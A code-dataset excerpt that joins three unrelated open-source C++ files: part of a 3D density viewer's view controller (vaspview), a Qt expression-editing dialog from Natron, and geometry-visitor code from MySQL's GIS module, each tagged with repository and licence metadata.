glwCompAdd(&this->super,&this->cm_pts.super,-1)&&
glwCompAdd(&this->super,&this->cm_bnds.super,-1)) {
# else
glwCompAdd(&this->super,&this->cm_pts.super,-1)) {
# endif
this->super.callbacks=&DS3_VIEW_CALLBACKS;
glwCompSetBackColor(&this->super,GLW_COLOR_BLACK);
glwCompSetForeColor(&this->super,GLW_COLOR_WHITE);
glwCompSetCursor(&this->super,GLUT_CURSOR_CROSSHAIR);
glwCompSetLayout(&this->super,&ds3_view_layout);
this->cm_axes.super.callbacks=&DS3_VIEW_AXES_CALLBACKS;
this->cm_box.super.callbacks=&DS3_VIEW_BOX_CALLBACKS;
this->cm_pts.super.callbacks=&DS3_VIEW_PTS_CALLBACKS;
# if defined(__DS3_ADD_BONDS__)
this->cm_bnds.super.callbacks=&DS3_VIEW_BNDS_CALLBACKS;
# endif
this->cm_iso.super.callbacks=&DS3_VIEW_ISO_CALLBACKS;
this->cm_slice.super.callbacks=&DS3_VIEW_SLICE_CALLBACKS;
/*Win32 version of GLUT does not support these cursors!*/
/*glwCompSetCursor(&this->cm_axes->super,GLUT_CURSOR_CYCLE);*/
/*glwCompSetCursor(&this->cm_pts->super,GLUT_CURSOR_INFO);*/
this->data_changed_func=NULL;
this->data_changed_ctx=NULL;
this->slice_changed_func=NULL;
this->slice_changed_ctx=NULL;
this->ornt_changed_func=NULL;
this->ornt_changed_ctx=NULL;
this->zoom_changed_func=NULL;
this->zoom_changed_ctx=NULL;
this->cntr_changed_func=NULL;
this->cntr_changed_ctx=NULL;
this->box_changed_func=NULL;
this->box_changed_ctx=NULL;
this->point_changed_func=NULL;
this->point_changed_ctx=NULL;
# if defined(__DS3_ADD_BONDS__)
this->bond_changed_func=NULL;
this->bond_changed_ctx=NULL;
# if defined(__DS3_SAVE_BONDS__)
this->bonds_changed_func=NULL;
this->bonds_changed_ctx=NULL;
# endif
# endif
ds3SliceInit(&this->slice,NULL);
# if defined(__DS3_ADD_BONDS__)
this->track_mbf = 0;
# endif
this->zoom=0;
this->yaw=1;
this->cntr[0] = this->cntr[1] = this->cntr[2] = 0.;
memset(this->box, 0, 2*3*sizeof(double));
this->slice_t=1;
this->track_cb=0;
this->track_pl=5;
this->track_ax = this->track_dx = this->track_mp = 0;
this->track_sp = this->track_sbf = this->track_sbt = 0;
this->track_lbf = this->track_lbt = 0;
this->point_r = 0;
this->draw_coords=1;
this->draw_points=1;
this->draw_slice=1;
this->draw_iso=1;
this->iso_v = this->iso_d = 0;
this->proj=DS3V_PROJECT_PERSPECTIVE;
this->ds=&DS_LINEAR_SCALE_IDENTITY.super;
ds3ViewSetColorScale(this,NULL);
ds3ViewSetDataSet(this,NULL);
ds3ViewSetPointR(this,0.03);
ds3ViewSetSlice(this,0,0,0);
ds3ViewSetIso(this,0.5,2);
return;
}
glwCompDelAll(&this->super);
}
/*Gets a ray from the eyepoint through the projection plane at the given
pixel coordinates. The ray is then transformed back into world
coordinates. p0 contains the eyepoint, and p1 is on the forward
extension of the ray. The two are always different.*/
void ds3ViewGetUnprojRay(DS3View *_this,int _x,int _y,Vect3d _p0,Vect3d _p1) {
Vect3d p0;
Vect3d p1;
int i,j;
if (_this->super.bounds.w>0&&_this->super.bounds.h>0) {
double aspect;
double dx;
double dy;
aspect=_this->super.bounds.w*DS3V_ASPECT/_this->super.bounds.h;
dx=2*(_x+0.5)/_this->super.bounds.w-1;
dy=2*(_y+0.5)/_this->super.bounds.h-1;
if (aspect>=1)dx*=aspect;
else dy/=aspect;
switch (_this->proj) {
case DS3V_PROJECT_ORTHOGRAPHIC: {
dx*=_this->zoom;
dy*=_this->zoom;
vectSet3d(p0,dx,dy,_this->zoom);
vectSet3d(p1,dx,dy,_this->zoom-1);
}
break;
/*case DS3V_PROJECT_PERSEPCTIVE :*/
default : {
vectSet3d(p0,0,0,_this->zoom);
vectSet3d(p1,dx,dy,_this->zoom-1);
}
}
} else {
vectSet3d(p0,0,0,_this->zoom);
vectSet3d(p1,0,0,_this->zoom-1);
}
for (i=0; i<3; i++) {
_p1[i]=_p0[i]=0;
for (j=0; j<3; j++) {
_p0[i]+=_this->rot[j][i]*p0[j];
_p1[i]+=_this->rot[j][i]*p1[j];
}
_p0[i]+=_this->cntr[i];
_p1[i]+=_this->cntr[i];
}
}
void ds3ViewSetDataChangedFunc(DS3View *_this,GLWActionFunc _func) {
_this->data_changed_func=_func;
}
void ds3ViewSetDataChangedCtx(DS3View *_this,void *_ctx) {
_this->data_changed_ctx=_ctx;
}
void ds3ViewSetSliceChangedFunc(DS3View *_this,GLWActionFunc _func) {
_this->slice_changed_func=_func;
}
void ds3ViewSetSliceChangedCtx(DS3View *_this,void *_ctx) {
_this->slice_changed_ctx=_ctx;
}
void ds3ViewSetOrientationChangedFunc(DS3View *_this,GLWActionFunc _func) {
_this->ornt_changed_func=_func;
}
void ds3ViewSetOrientationChangedCtx(DS3View *_this,void *_ctx) {
_this->ornt_changed_ctx=_ctx;
}
void ds3ViewSetZoomChangedFunc(DS3View *_this,GLWActionFunc _func) {
_this->zoom_changed_func=_func;
}
void ds3ViewSetZoomChangedCtx(DS3View *_this,void *_ctx) {
_this->zoom_changed_ctx=_ctx;
}
void ds3ViewSetCenterChangedFunc(DS3View *_this,GLWActionFunc _func) {
_this->cntr_changed_func=_func;
}
void ds3ViewSetCenterChangedCtx(DS3View *_this,void *_ctx) {
_this->cntr_changed_ctx=_ctx;
}
void ds3ViewSetBoxChangedFunc(DS3View *_this,GLWActionFunc _func) {
_this->box_changed_func=_func;
}
void ds3ViewSetBoxChangedCtx(DS3View *_this,void *_ctx) {
_this->box_changed_ctx=_ctx;
}
void ds3ViewSetPointChangedFunc(DS3View *_this,GLWActionFunc _func) {
_this->point_changed_func=_func;
}
void ds3ViewSetPointChangedCtx(DS3View *_this,void *_ctx) {
_this->point_changed_ctx=_ctx;
}
# if defined(__DS3_ADD_BONDS__)
void ds3ViewSetBondChangedFunc(DS3View *_this,GLWActionFunc _func) {
_this->bond_changed_func=_func;
}
void ds3ViewSetBondChangedCtx(DS3View *_this,void *_ctx) {
_this->bond_changed_ctx=_ctx;
}
# if defined(__DS3_SAVE_BONDS__)
void ds3ViewSetBondsChangedFunc(DS3View *_this,GLWActionFunc _func) {
_this->bonds_changed_func=_func;
}
void ds3ViewSetBondsChangedCtx(DS3View *_this,void *_ctx) {
_this->bonds_changed_ctx=_ctx;
}
# endif
# endif
void ds3ViewSetColorScale(DS3View *_this,const DSColorScale *_cs) {
_this->cs=_cs!=NULL?_cs:&DS_RAINBOW_SCALE;
/*TODO: if we have textured palettes, only update the palette*/
_this->c_valid=0;
_this->t_valid=0;
if (_this->draw_points||_this->draw_slice)glwCompRepaint(&_this->super,0);
}
void ds3ViewSetDataScale(DS3View *_this,const DSDataScale *_ds) {
_this->ds=_ds!=NULL?_ds:&DS_LINEAR_SCALE_IDENTITY.super;
_this->c_valid=0;
_this->t_valid=0;
if (_this->draw_slice)glwCompRepaint(&_this->super,0);
}
int ds3ViewSetDataSet(DS3View *_this,DataSet3D *_ds3) {
int i;
int j;
/*Free existing slice texture*/
ds3SliceDstr(&_this->slice,_this);
_this->t_valid=0;
_this->c_valid=0;
/*Free existing iso-surface*/
_this->iso.clear();
_this->s_valid=0;
/*Do the only things that can fail:*/
if (_ds3!=NULL) {
# if defined(__DS3_ADD_BONDS__)
if (!ds3BondsReset(&_this->bonds,_ds3))return 0;
# endif
_this->draw_point.resize(_ds3->npoints);
}
/*Set up parameters for new data set*/
_this->ds3=_ds3;
/*Invert basis matrix (needed for correct iso-surface drawing order)*/
if (_ds3==NULL)for (i=0; i<3; i++)for (j=0; j<3; j++)_this->basinv[i][j]=i==j;
else dsMatrix3x3Inv(_ds3->basis,_this->basinv);
if (_ds3!=NULL) {
size_t k;
_this->offs=vectMag2_3d(_ds3->center);
for (i=0; i<3; i++) {
Vect3d diff;
double d;
for (j=0; j<3; j++)diff[j]=_ds3->basis[j][i]-_ds3->center[j];
d=vectMag2_3d(diff);
if (d>_this->offs)_this->offs=d;
}
_this->offs=2*sqrt(_this->offs);
ds3SliceInit(&_this->slice,_ds3->density);
_this->iso.init(_ds3->density);
for (i=0; i<3; i++) {
for (j=0; j<3; j++)_this->basis[(j<<2)+i]=_ds3->basis[i][j];
_this->basis[(i<<2)+3]=0;
_this->basis[(3<<2)+i]=0;
}
_this->basis[15]=1;
i=1;
for (k = 0; k < _ds3->npoints; k++) _this->draw_point[k] = i;
ds3ViewSetCenter(_this,_ds3->center[X],_ds3->center[Y],_ds3->center[Z]);
} else {
_this->offs=1;
for (i=0; i<4; i++)for (j=0; j<4; j++)_this->basis[(i<<2)+j]=i==j;
_this->draw_point.clear();
ds3ViewSetCenter(_this,0.5,0.5,0.5);
}
ds3ViewSetZoom(_this,_this->offs);
ds3ViewSetOrientation(_this,0,0,0);
ds3ViewSetBox(_this,0,0,0,1,1,1);
if (_this->track_dx>=0) {
_this->track_dx=-1;
if (_this->data_changed_func!=NULL) {
_this->data_changed_func(_this->data_changed_ctx,&_this->super);
}
}
_this->track_lx=-1;
_this->track_lp=-1;
ds3ViewSetSelectedPoint(_this,-1);
# if defined(__DS3_ADD_BONDS__)
ds3ViewSetSelectedBond(_this,-1,-1);
# endif
_this->view_stack.clear();
glwCompSetFocusable(&_this->cm_axes.super,_ds3!=NULL);
glwCompSetFocusable(&_this->cm_box.super,_ds3!=NULL);
glwCompSetFocusable(&_this->cm_pts.super,_ds3!=NULL&&_ds3->npoints>0);
# if defined(__DS3_ADD_BONDS__)
glwCompSetFocusable(&_this->cm_bnds.super,0);
# endif
glwCompSetFocusable(&_this->cm_slice.super,_ds3!=NULL);
glwCompRevalidate(&_this->super);
return 1;
}
void ds3ViewSetPointR(DS3View *_this,double _r) {
if (_r<0)_r=0;
else if (_r>0.1*_this->offs)_r=0.1*_this->offs;
if (_r!=_this->point_r) {
_this->point_r=_r;
if (_this->draw_points)glwCompRepaint(&_this->super,0);
}
}
void ds3ViewSetSlice(DS3View *_this,double _t,double _p,double _d) {
double st;
double ct;
double sp;
double cp;
double a;
double b;
Vect3d n;
int i;
/*Keep angles within 0 to 360*/
if (_t<0||_t>360) {
_t=fmod(_t,360);
if (_t<0)_t+=360;
}
if (_p<0||_p>360) {
_p=fmod(_p,360);
if (_p<0)_p+=360;
}
/*Clamp plane offset to stay in cube*/
st=sin(_t*M_PI/180);
ct=cos(_t*M_PI/180);
sp=sin(_p*M_PI/180);
cp=cos(_p*M_PI/180);
vectSet3d(n,st,-sp*ct,cp*ct);
a=b=0;
for (i=0; i<8; i++) {
Vect3d p;
int j;
double d;
for (j=0; j<3; j++)p[j]=_this->box[i&1<<j?1:0][j]-0.5;
d=vectDot3d(n,p);
if (d<a)a=d;
if (d>b)b=d;
}
if (_d<a)_d=a;
else if (_d>b)_d=b;
if (_t!=_this->slice_t||_p!=_this->slice_p||_d!=_this->slice_d) {
_this->slice_t=_t;
_this->slice_p=_p;
_this->slice_d=_d;
_this->strans[X][X]=ct;
_this->strans[X][Y]=0;
_this->strans[X][Z]=n[X];
_this->strans[X][W]=0.5+n[X]*_d;
_this->strans[Y][X]=sp*st;
_this->strans[Y][Y]=cp;
_this->strans[Y][Z]=n[Y];
_this->strans[Y][W]=0.5+n[Y]*_d;
_this->strans[Z][X]=-cp*st;
_this->strans[Z][Y]=sp;
_this->strans[Z][Z]=n[Z];
_this->strans[Z][W]=0.5+n[Z]*_d;
if (_this->slice_changed_func!=NULL) {
_this->slice_changed_func(_this->slice_changed_ctx,&_this->super);
}
if (_this->draw_slice)glwCompRepaint(&_this->super,0);
}
}
void ds3ViewSetIso(DS3View *_this,double _v,int _d) {
if (_this->ds3!=NULL) {
if (_v>_this->ds3->max)_v=_this->ds3->max;
if (_v<_this->ds3->min)_v=_this->ds3->min;
} else {
if (_v>1)_v=1;
else if (_v<0)_v=0;
}
if (_d<1)_d=1;
if (_v!=_this->iso_v||_d!=_this->iso_d) {
_this->iso_v=_v;
_this->iso_d=_d;
_this->s_valid=0;
if (_this->draw_iso)glwCompRepaint(&_this->super,0);
}
}
void ds3ViewSetDrawCoordS(DS3View *_this,int _b) {
if (_this->draw_coords!=(_b?1U:0U)) {
_this->draw_coords=_b?1:0;
glwCompVisibility(&_this->cm_axes.super, _b);
glwCompVisibility(&_this->cm_box.super, _b);
glwCompRepaint(&_this->super,0);
}
}
void ds3ViewSetDrawPoints(DS3View *_this,int _b) {
if (_this->draw_points!=(_b?1U:0U)) {
_this->draw_points=_b?1:0;
glwCompVisibility(&_this->cm_pts.super, _b);
glwCompRepaint(&_this->super,0);
}
}
void ds3ViewSetDrawSlice(DS3View *_this,int _b) {
if (_this->draw_slice!=(_b?1U:0U)) {
_this->draw_slice=_b?1:0;
glwCompVisibility(&_this->cm_slice.super, _b);
glwCompRepaint(&_this->super,0);
}
}
void ds3ViewSetDrawIso(DS3View *_this,int _b) {
if (_this->draw_iso!=(_b?1U:0U)) {
_this->draw_iso=_b?1:0;
glwCompVisibility(&_this->cm_iso.super, _b);
glwCompRepaint(&_this->super,0);
}
}
void ds3ViewSetOrientation(DS3View *_this,double _y,double _p,double _r) {
if (_y<0||_y>360) {
_y=fmod(_y,360);
if (_y<0)_y+=360;
}
if (_p<0||_p>360) {
_p=fmod(_p,360);
if (_p<0)_p+=360;
}
if (_r<0||_r>360) {
_r=fmod(_r,360);
if (_r<0)_r+=360;
}
if (_this->yaw!=_y||_this->pitch!=_p||_this->roll!=_r) {
_this->yaw=_y;
_this->pitch=_p;
_this->roll=_r;
ds3ViewExpandRot(_this->yaw,_this->pitch,_this->roll,_this->rot);
if (_this->ornt_changed_func!=NULL) {
_this->ornt_changed_func(_this->ornt_changed_ctx,&_this->super);
}
glwCompRepaint(&_this->super,0);
}
}
void ds3ViewAlignOrientation(DS3View *_this) {
Vect3d m;
Vect3d n;
double d;
double cx,sx,cy,sy;
double x,y;
int i;
int j;
m[X]=_this->strans[X][Z];
m[Y]=_this->strans[Y][Z];
m[Z]=_this->strans[Z][Z];
for (i=0; i<3; i++) {
n[i]=0;
for (j=0; j<3; j++)n[i]+=m[j]*_this->basinv[j][i];
}
d=vectMag2_3d(n);
if (d<1E-100)vectSet3d(n,0,0,1);
else vectMul3d(n,n,1/sqrt(d));
sy=-n[X];
y=asin(sy)*(180/M_PI);
if (y<0) {
if (y<-1E-4)y+=360;
else y=0;
}
if ((fabs(_this->pitch-y)>90&&fabs(_this->pitch-y+360)>90&&
fabs(_this->pitch-y-360)>90)) {
y=180-y;
if (y<0) {
if (y<-1E-4)y+=360;
else y=0;
}
}
cy=cos(y*M_PI/180);
if (fabs(cy)<1E-8)x=_this->yaw;
else {
sx=n[Y]/cy;
cx=n[Z]/cy;
x=atan2(sx,cx)*(180/M_PI);
if (x<0) {
if (x<-1E-4)x+=360;
else x=0;
}
}
ds3ViewSetOrientation(_this,x,y,_this->roll);
}
void ds3ViewSetProjectionType(DS3View *_this,int _t) {
if (_t!=_this->proj) {
_this->proj=_t;
glwCompRepaint(&_this->super,0);
}
}
void ds3ViewSetZoom(DS3View *_this,double _zoom) {
if (_zoom<0)_zoom=0;
if (_this->zoom!=_zoom) {
_this->zoom=_zoom;
if (_this->zoom_changed_func!=NULL) {
_this->zoom_changed_func(_this->zoom_changed_ctx,&_this->super);
}
glwCompRepaint(&_this->super,0);
}
}
void ds3ViewSetCenter(DS3View *_this,double _x,double _y,double _z) {
if (_this->ds3!=NULL) {
if (_x<-2*_this->ds3->center[0])_x=-2*_this->ds3->center[0];
else if (_x>4*_this->ds3->center[1])_x=4*_this->ds3->center[0];
if (_y<-2*_this->ds3->center[1])_y=-2*_this->ds3->center[1];
else if (_y>4*_this->ds3->center[1])_y=4*_this->ds3->center[1];
if (_z<-2*_this->ds3->center[2])_z=-2*_this->ds3->center[2];
else if (_z>4*_this->ds3->center[2])_z=4*_this->ds3->center[2];
} else {
if (_x<-1)_x=-1;
else if (_x>2)_x=2;
if (_y<-1)_y=-1;
else if (_y>2)_y=2;
if (_x<-1)_z=-1;
else if (_z>2)_z=2;
}
if (_x!=_this->cntr[0]||_y!=_this->cntr[1]||_z!=_this->cntr[2]) {
vectSet3d(_this->cntr,_x,_y,_z);
if (_this->cntr_changed_func!=NULL) {
_this->cntr_changed_func(_this->cntr_changed_ctx,&_this->super);
}
glwCompRepaint(&_this->super,0);
}
}
void ds3ViewSetBox(DS3View *_this,double _minx,double _miny,double _minz,
double _maxx,double _maxy,double _maxz) {
if (_minx<-1)_minx=-1;
else if (_minx>2)_minx=2;
if (_maxx<_minx)_maxx=_minx;
else if (_maxx>2)_maxx=2;
if (_miny<-1)_miny=-1;
else if (_miny>2)_miny=2;
if (_maxy<_miny)_maxy=_miny;
else if (_maxy>2)_maxy=2;
if (_minz<-1)_minz=-1;
else if (_minz>2)_minz=2;
if (_maxz<_minz)_maxz=_minz;
else if (_maxz>2)_maxz=2;
if (_minx!=_this->box[0][X]||_maxx!=_this->box[1][X]||
_miny!=_this->box[0][Y]||_maxy!=_this->box[1][Y]||
_minz!=_this->box[0][Z]||_maxz!=_this->box[1][Z]) {
vectSet3d(_this->box[0],_minx,_miny,_minz);
vectSet3d(_this->box[1],_maxx,_maxy,_maxz);
if (_this->box_changed_func!=NULL) {
_this->box_changed_func(_this->box_changed_ctx,&_this->super);
}
glwCompRepaint(&_this->super,0);
}
}
void ds3ViewSetPointVisible(DS3View *_this,long _pt,int _v) {
_v=_v?1:0;
if (_pt>=0&&_this->ds3!=NULL&&(size_t)_pt<_this->ds3->npoints&&
_this->draw_point[_pt] != _v) {
_this->draw_point[_pt] = _v;
if (_this->draw_points)glwCompRepaint(&_this->super,0);
if (_this->track_sp==_pt&&_this->point_changed_func!=NULL) {
_this->point_changed_func(_this->point_changed_ctx,&_this->super);
}
}
}
void ds3ViewSetSelectedPoint(DS3View *_this,long _pt) {
if (_this->ds3==NULL||_pt>=(long)_this->ds3->npoints)_pt=-1;
if (_pt!=_this->track_sp) {
_this->track_sp=_pt;
glwCompRepaint(&_this->super,0);
if (_this->point_changed_func!=NULL) {
_this->point_changed_func(_this->point_changed_ctx,&_this->super);
}
}
}
# if defined(__DS3_ADD_BONDS__)
void ds3ViewSetBond(DS3View *_this,long _from,long _to,double _sz) {
if (_from>=0&&_to>=0&&_from!=_to&&_this->ds3!=NULL) {
if (_from>_to) {
long t;
t=_from;
_from=_to;
_to=t;
}
if ((size_t)_from<_this->ds3->npoints-1&&(size_t)_to<_this->ds3->npoints&&
ds3BondsGet(&_this->bonds,_from,_to)!=_sz) {
ds3BondsSet(&_this->bonds,_from,_to,_sz);
glwCompSetFocusable(&_this->cm_bnds.super, _this->bonds.nbonds>0);
glwCompRepaint(&_this->super,0);
# if defined(__DS3_SAVE_BONDS__)
if (_this->bonds_changed_func!=NULL) {
_this->bonds_changed_func(_this->bonds_changed_ctx,&_this->super);
}
# endif
if (_this->track_sbf==_from&&_this->track_sbt==_to&&
_this->bond_changed_func!=NULL) {
_this->bond_changed_func(_this->bond_changed_ctx,&_this->super);
}
if (_this->track_sbf<0)ds3ViewSetSelectedBond(_this,_from,_to);
}
}
}
void ds3ViewDelBond(DS3View *_this,long _from,long _to) {
ds3ViewSetBond(_this,_from,_to,0);
}
void ds3ViewSetSelectedBond(DS3View *_this,long _from,long _to) {
if (_this->ds3==NULL||_this->ds3->npoints<2)_from=_to=-1;
else {
if (_from>=0||_to<0||-1-_from>=_to||(size_t)_to>=_this->ds3->npoints) {
if (_from<0||_to<0||_from==_to)_from=_to=-1;
else {
if (_from>_to) {
long t;
t=_from;
_from=_to;
_to=t;
}
if ((size_t)_from>=_this->ds3->npoints-1||
(size_t)_to>=_this->ds3->npoints||
ds3BondsGet(&_this->bonds,_from,_to)<=0) {
_from=_to=-1;
}
}
}
}
if (_from!=_this->track_sbf||_to!=_this->track_sbt) {
_this->track_sbf=_from;
_this->track_sbt=_to;
glwCompRepaint(&_this->super,0);
if (_this->bond_changed_func!=NULL) {
_this->bond_changed_func(_this->bond_changed_ctx,&_this->super);
}
}
}
# endif
int ds3ViewGetData(DS3View *_this,long *_x,long *_y,long *_z) {
if (_this->track_dx>=0) {
*_x=_this->track_dx;
*_y=_this->track_dy;
*_z=_this->track_dz;
return 1;
}
return 0;
}
int ds3ViewGetPointVisible(DS3View *_this,long _pt) {
if (_pt>=0&&_this->ds3!=NULL&&(size_t)_pt<_this->ds3->npoints) {
return _this->draw_point[_pt];
}
return 0;
}
long ds3ViewGetSelectedPoint(DS3View *_this) {
return _this->track_sp;
}
# if defined(__DS3_ADD_BONDS__)
double ds3ViewGetBond(DS3View *_this,long _from,long _to) {
if (_from>=0&&_to>=0&&_from!=_to&&_this->ds3!=NULL) {
if (_from>_to) {
long t;
t=_from;
_from=_to;
_to=t;
}
if ((size_t)_from<_this->ds3->npoints-1&&(size_t)_to<_this->ds3->npoints) {
return ds3BondsGet(&_this->bonds,_from,_to);
}
}
return 0;
}
int ds3ViewGetSelectedBond(DS3View *_this,long *_from,long *_to) {
if (_this->track_sbf<0||_this->track_sbt<0)return 0;
else {
*_from=_this->track_sbf;
*_to=_this->track_sbt;
return 1;
}
}
# endif
| jabl/vaspview | src/ds3view.cc | C++ | gpl-2.0 | 65,012 |
/* ***** BEGIN LICENSE BLOCK *****
* This file is part of Natron <http://www.natron.fr/>,
* Copyright (C) 2015 INRIA and Alexandre Gauthier-Foichat
*
* Natron is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* Natron is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Natron. If not, see <http://www.gnu.org/licenses/gpl-2.0.html>
* ***** END LICENSE BLOCK ***** */
// ***** BEGIN PYTHON BLOCK *****
// from <https://docs.python.org/3/c-api/intro.html#include-files>:
// "Since Python may define some pre-processor definitions which affect the standard headers on some systems, you must include Python.h before any standard headers are included."
#include <Python.h>
// ***** END PYTHON BLOCK *****
#include "Gui/EditExpressionDialog.h"
#include <cassert>
#include <climits>
#include <cfloat>
#include <stdexcept>
#include <boost/weak_ptr.hpp>
#include <QtCore/QString>
#include <QHBoxLayout>
#include <QPushButton>
#include <QFormLayout>
#include <QFileDialog>
#include <QTextEdit>
#include <QStyle> // in QtGui on Qt4, in QtWidgets on Qt5
#include <QTimer>
GCC_DIAG_UNUSED_PRIVATE_FIELD_OFF
// /opt/local/include/QtGui/qmime.h:119:10: warning: private field 'type' is not used [-Wunused-private-field]
#include <QKeyEvent>
GCC_DIAG_UNUSED_PRIVATE_FIELD_ON
#include <QColorDialog>
#include <QGroupBox>
#include <QtGui/QVector4D>
#include <QStyleFactory>
#include <QComboBox>
#include <QDialogButtonBox>
#include <QCompleter>
#include "Global/GlobalDefines.h"
#include "Engine/Curve.h"
#include "Engine/KnobFile.h"
#include "Engine/KnobSerialization.h"
#include "Engine/KnobTypes.h"
#include "Engine/LibraryBinary.h"
#include "Engine/Node.h"
#include "Engine/NodeGroup.h"
#include "Engine/Project.h"
#include "Engine/Settings.h"
#include "Engine/TimeLine.h"
#include "Engine/Variant.h"
#include "Engine/ViewerInstance.h"
#include "Gui/AnimationButton.h"
#include "Gui/ComboBox.h"
#include "Gui/CurveEditor.h"
#include "Gui/CurveGui.h"
#include "Gui/CustomParamInteract.h"
#include "Gui/DockablePanel.h"
#include "Gui/Gui.h"
#include "Gui/GuiAppInstance.h"
#include "Gui/GuiApplicationManager.h"
#include "Gui/Group_KnobGui.h"
#include "Gui/Label.h"
#include "Gui/LineEdit.h"
#include "Gui/Menu.h"
#include "Gui/Menu.h"
#include "Gui/NodeCreationDialog.h"
#include "Gui/NodeGui.h"
#include "Gui/NodeSettingsPanel.h"
#include "Gui/ScriptTextEdit.h"
#include "Gui/SequenceFileDialog.h"
#include "Gui/SpinBox.h"
#include "Gui/TabWidget.h"
#include "Gui/TimeLineGui.h"
#include "Gui/Utils.h"
#include "Gui/ViewerTab.h"
using namespace Natron;
EditExpressionDialog::EditExpressionDialog(int dimension,KnobGui* knob,QWidget* parent)
: EditScriptDialog(parent)
, _dimension(dimension)
, _knob(knob)
{
}
int
EditExpressionDialog::getDimension() const
{
return _dimension;
}
void
EditExpressionDialog::setTitle()
{
boost::shared_ptr<KnobI> k = _knob->getKnob();
QString title(tr("Set expression on "));
title.append(k->getName().c_str());
if (_dimension != -1 && k->getDimension() > 1) {
title.append(".");
title.append(k->getDimensionName(_dimension).c_str());
}
setWindowTitle(title);
}
bool
EditExpressionDialog::hasRetVariable() const
{
return _knob->getKnob()->isExpressionUsingRetVariable(_dimension == -1 ? 0 : _dimension);
}
QString
EditExpressionDialog::compileExpression(const QString& expr)
{
std::string exprResult;
try {
_knob->getKnob()->validateExpression(expr.toStdString(),_dimension == -1 ? 0 : _dimension,isUseRetButtonChecked()
,&exprResult);
} catch(const std::exception& e) {
QString err = QString(tr("ERROR") + ": %1").arg(e.what());
return err;
}
return exprResult.c_str();
}
QString
EditExpressionDialog::getCustomHelp()
{
return getHelpPart1() + "<br/>" +
getHelpThisNodeVariable() + "<br/>" +
getHelpThisGroupVariable() + "<br/>" +
getHelpThisParamVariable() + "<br/>" +
getHelpDimensionVariable() + "<br/>" +
getHelpPart2();
}
void
EditExpressionDialog::getImportedModules(QStringList& modules) const
{
modules.push_back("math");
}
void
EditExpressionDialog::getDeclaredVariables(std::list<std::pair<QString,QString> >& variables) const
{
variables.push_back(std::make_pair("thisNode", tr("the current node")));
variables.push_back(std::make_pair("thisGroup", tr("When thisNode belongs to a group, it references the parent group node, otherwise it will reference the current application instance")));
variables.push_back(std::make_pair("thisParam", tr("the current param being edited")));
variables.push_back(std::make_pair("dimension", tr("Defined only if the parameter is multi-dimensional, it references the dimension of the parameter being edited (0-based index")));
variables.push_back(std::make_pair("frame", tr("the current time on the timeline")));
}
| AxelAF/Natron | Gui/EditExpressionDialog.cpp | C++ | gpl-2.0 | 5,367 |
// Copyright (c) 2017, Oracle and/or its affiliates. All rights reserved.
//
// This program is free software; you can redistribute it and/or modify it under
// the terms of the GNU General Public License as published by the Free Software
// Foundation; version 2 of the License.
//
// This program is distributed in the hope that it will be useful, but WITHOUT
// ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
// FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
// details.
//
// You should have received a copy of the GNU General Public License along with
// this program; if not, write to the Free Software Foundation, 51 Franklin
// Street, Suite 500, Boston, MA 02110-1335 USA.
#include "geometries.h"
#include "geometries_cs.h"
#include <utility> // std::swap
#include "geometry_visitor.h"
#include "my_dbug.h"
namespace gis {
bool Point::accept(Geometry_visitor *v) { return v->visit(this); }
template <>
double Point::get<0>() const {
return m_x;
}
template <>
double Point::get<1>() const {
return m_y;
}
double Point::x() const { return get<0>(); }
double Point::y() const { return get<1>(); }
template <>
void Point::set<0>(double d) {
m_x = d;
}
template <>
void Point::set<1>(double d) {
m_y = d;
}
void Point::x(double d) { set<0>(d); }
void Point::y(double d) { set<1>(d); }
bool Cartesian_linestring::accept(Geometry_visitor *v) {
if (!v->visit_enter(this) && m_points.size() > 0) {
if (m_points[0].accept(v)) return true;
for (decltype(m_points)::size_type i = 1; i < m_points.size(); i++) {
if (v->visit(this) || m_points[i].accept(v)) return true;
}
}
return v->visit_leave(this);
}
void Cartesian_linestring::push_back(Point &&pt) {
DBUG_ASSERT(pt.coordinate_system() == Coordinate_system::kCartesian);
m_points.push_back(static_cast<Cartesian_point &&>(pt));
}
bool Cartesian_linestring::empty() const { return m_points.empty(); }
void Cartesian_linestring::flip() {
for (std::size_t i = 0, j = size() - 1; i < size() / 2; i++, j--)
std::swap(m_points[i], m_points[j]);
}
bool Geographic_linestring::accept(Geometry_visitor *v) {
if (!v->visit_enter(this) && m_points.size() > 0) {
if (m_points[0].accept(v)) return true;
for (decltype(m_points)::size_type i = 1; i < m_points.size(); i++) {
if (v->visit(this) || m_points[i].accept(v)) return true;
}
}
return v->visit_leave(this);
}
void Geographic_linestring::push_back(Point &&pt) {
DBUG_ASSERT(pt.coordinate_system() == Coordinate_system::kGeographic);
m_points.push_back(static_cast<Geographic_point &&>(pt));
}
bool Geographic_linestring::empty() const { return m_points.empty(); }
void Geographic_linestring::flip() {
for (std::size_t i = 0, j = size() - 1; i < size() / 2; i++, j--)
std::swap(m_points[i], m_points[j]);
}
bool Cartesian_linearring::accept(Geometry_visitor *v) {
if (!v->visit_enter(this) && m_points.size() > 0) {
if (m_points[0].accept(v)) return true;
for (decltype(m_points)::size_type i = 1; i < m_points.size(); i++) {
if (v->visit(this) || m_points[i].accept(v)) return true;
}
}
return v->visit_leave(this);
}
bool Geographic_linearring::accept(Geometry_visitor *v) {
if (!v->visit_enter(this) && m_points.size() > 0) {
if (m_points[0].accept(v)) return true;
for (decltype(m_points)::size_type i = 1; i < m_points.size(); i++) {
if (v->visit(this) || m_points[i].accept(v)) return true;
}
}
return v->visit_leave(this);
}
bool Cartesian_polygon::accept(Geometry_visitor *v) {
if (!v->visit_enter(this)) {
if (m_exterior_ring.accept(v)) return true;
for (auto &&ring : m_interior_rings) {
if (v->visit(this) || ring.accept(v)) return true;
}
}
return v->visit_leave(this);
}
void Cartesian_polygon::push_back(Linearring &&lr) {
DBUG_ASSERT(lr.coordinate_system() == Coordinate_system::kCartesian);
if (m_exterior_ring.empty() && m_interior_rings.empty())
m_exterior_ring = static_cast<Cartesian_linearring &&>(lr);
else
m_interior_rings.push_back(static_cast<Cartesian_linearring &&>(lr));
}
bool Cartesian_polygon::empty() const {
return m_exterior_ring.empty() && m_interior_rings.empty();
}
